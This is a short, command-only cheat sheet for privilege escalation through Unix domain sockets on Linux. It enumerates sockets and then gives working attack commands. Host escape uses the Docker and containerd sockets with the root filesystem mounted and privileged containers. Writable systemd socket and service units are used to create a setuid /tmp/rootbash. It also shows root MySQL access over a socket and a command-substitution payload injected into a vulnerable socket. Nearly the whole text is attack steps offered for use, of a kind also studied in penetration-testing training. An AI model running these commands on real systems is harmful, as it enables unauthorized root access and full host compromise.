Unix Socket Abuse

ss -xlp
netstat -a -p --unix 2>/dev/null
find / -type s 2>/dev/null

find / -type s -writable 2>/dev/null

ls -la /var/run/*.sock
ls -la /tmp/*.sock

ls -la /var/run/docker.sock

docker run -v /:/mnt --rm -it alpine chroot /mnt bash

curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"HostConfig":{"Binds":["/:/mnt"],"Privileged":true}}' \
  http://localhost/containers/create

find /etc/systemd/system/ -writable -name "*.socket" 2>/dev/null

[Socket]
ListenStream=/run/vulnerable.sock
ExecStartPre=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

systemctl daemon-reload
systemctl restart vulnerable.socket

# Check what service it activates
cat /etc/systemd/system/vulnerable.socket | grep Service

[Service]
ExecStart=/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'

curl --unix-socket /var/run/service.sock http://localhost/
curl --unix-socket /var/run/service.sock http://localhost/api/v1/info

socat - UNIX-CLIENT:/var/run/service.sock

nc -U /var/run/service.sock

ls -la /var/run/mysqld/mysqld.sock

mysql -u root -S /var/run/mysqld/mysqld.sock

ls -la /run/containerd/containerd.sock

ctr -a /run/containerd/containerd.sock image ls
ctr -a /run/containerd/containerd.sock run --rm -t --mount type=bind,src=/,dst=/mnt,options=rbind docker.io/library/alpine:latest shell /bin/sh
chroot /mnt bash

echo '$(cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash)' | socat - UNIX-CLIENT:/var/run/vulnerable.sock